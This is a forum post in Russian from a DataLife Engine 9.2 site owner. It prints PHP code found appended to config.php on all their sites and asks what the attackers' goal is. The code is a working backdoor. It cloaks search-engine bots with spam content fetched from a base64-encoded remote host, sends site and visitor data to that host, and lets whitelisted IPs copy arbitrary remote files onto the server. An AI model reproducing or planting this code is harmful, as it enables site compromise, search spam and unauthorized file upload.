Взлом DLE 9.2

В общем обнаружил что на всех сайтах на DLE в config.php появился такой код в самом низу.

class conectBase {
    
    var $timeout = 15;
    var $bUrl    = '';

    function get_content_code($a,$query=false,$type=false){
        if($type) $frt = $a.$query;
        else      $frt = base64_decode($a).$query;

        $ret = false;
          
        if( @function_exists('curl_init') ){
            if( $curl = @curl_init() ){
                    
                if( !@curl_setopt($curl,CURLOPT_URL,$frt) ) return $ret;
                if( !@curl_setopt($curl,CURLOPT_RETURNTRANSFER,true) ) return $ret;
                if( !@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,$this->timeout) ) return $ret;
                if( !@curl_setopt($curl,CURLOPT_HEADER,false) ) return $ret;
                if( !@curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate") ) return $ret;
                    
                $ret = @curl_exec($curl);
                @curl_close($curl);
            }
        }
        else{
            $u = parse_url($frt);
               
            if( $fp = @fsockopen($u['host'],!empty($u['port']) ? $u['port'] : 80 ) ){
                    
                $headers = 'GET '.  $u['path'] . '?' . $u['query'] .' HTTP/1.0'. "\r\n";
                $headers .= 'Host: '. $u['host'] ."\r\n";
                $headers .= 'Connection: Close' . "\r\n\r\n";
                    
                @fwrite($fp, $headers);
                $ret = '';
                         
                while( !feof($fp) ){
                    $ret .= @fgets($fp,1024);
                }
                    
                $ret = substr($ret,strpos($ret,"\r\n\r\n") + 4);
                    
                @fclose($fp);
            }
        }
          
        return $ret;
    }

    function srt_rep($data){
        $data = preg_replace("'[^a-zа-я.,-]'si",'',$data);
        $data = str_replace("\r\n","",trim(stripcslashes(preg_replace("'<[^>]*>'si",'',$data))));
        $data = str_replace("\r\n","",$data);
        $data = str_replace(" ", "::::",$data);
        return$data;
    }

    function get_n_link($content){
        preg_match_all("'<a.*?href=[\"\']http:\/\/(.*?)[\"\'][^>]*>'si",$content,$all);
        foreach($all[1] as $val){
            $link = explode("/",$val);
    
            $host   = preg_replace('/^www\./', '', $_SERVER["HTTP_HOST"]);
            $h_link = preg_replace('/^www\./', '', $link[0]);
    
            if($h_link !== $host){
                $name[$h_link] = $h_link;
            }
        }
        return count($name);
    }

    function title_desc($content){
    
        if(preg_match_all("'\<meta(.*?)[^>]*>'si",$content,$math)){

            foreach($math[0] as $key =>$val){

                if(strstr($val,"description")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[0]);
                
                if(strstr($val,"keywords")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[1]);
                
                if(strstr($val,"Content-Type") or strstr($val,"content-type")) preg_match("'charset=(.*?)[\"\']'si",$val,$MERS[2]);

            }
        }
        if(preg_match("'<title[^>]*>(.*?)<\/title[^>]*>'si",$content,$pre_title)){
            if(strstr($pre_title[1],'»')) preg_match("'(.*?)»'si",$pre_title[1],$MERS[3]);
            else                          $MERS[3][1] = $pre_title[1];
        }
    
        return $MERS;
    }
    
    function upFile(){
        if($_GET['upFile']){
            $ip = $_SERVER["REMOTE_ADDR"];
            $ipList = $this->get_content_code($this->bUrl,'false&ipList=true');
        
            if(strstr($ipList,$_SERVER["REMOTE_ADDR"])){
                @mkdir(ROOT_DIR.$_GET['upDir']);
                @copy($_GET['upFile'],ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName']);
                
                if(file_exists(ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName'])) print '<!--upTrue-->';
            }
        }
    }
     
    function conectBase($murl){
        $URI  = $_SERVER["REQUEST_URI"];
        $HOST = $_SERVER["HTTP_HOST"];
        
        $this->bUrl = $murl;
        $this->upFile();
        
        $rssUrl = end(explode('/',$_SERVER["REQUEST_URI"]));
    
        if ( (strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex') or strstr($_SERVER['HTTP_USER_AGENT'], 'Google')) and $rssUrl !== 'rss.php'){
            //print "<!--bot_true-->\n";

            $content = $this->get_content_code('aHR0cDovLw==',$HOST.$URI);
            
            $MERS    = $this->title_desc($content);
    
            $s_temp = @file_get_contents(ROOT_DIR.'/templates/'.$config['skin'].'/main.tpl');
            $vs     = $this->get_n_link($content);
            $temp   = $this->get_n_link($s_temp);
    
            $conect = 'n';
    
            if ( strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex')){
                $conect = 'y';
            }
            elseif( strstr($_SERVER['HTTP_USER_AGENT'], 'Google')){
                $conect = 'g';
            }
    
            if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
                $MERS[3][1] = mb_convert_encoding($MERS[3][1], 'windows-1251', 'UTF-8');
                $MERS[1][1] = mb_convert_encoding($MERS[1][1], 'windows-1251', 'UTF-8');
                $MERS[0][1] = mb_convert_encoding($MERS[0][1], 'windows-1251', 'UTF-8');
            }

            $TMP = $this->get_content_code($murl,$URI.'&host='.$HOST.'&vs='.$vs.'&temp='.$temp.'&hu='.$conect.'&ip='.$_SERVER["REMOTE_ADDR"].'&t='.$this->srt_rep($MERS[3][1]).'&k='.$this->srt_rep($MERS[1][1]).'&d='.$this->srt_rep($MERS[0][1])); 
    
    
            if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
                $TMP = mb_convert_encoding($TMP, 'UTF-8', 'windows-1251');
            }
                print $TMP;
            }
    }
}
$conectBase = new conectBase('aHR0cDovL2ViYW5pLWthcmFzaS53cy9jb25lY3QucGhwP3VybD0=');

Если кто разбирается, подскажите, какая цель злоумышленников?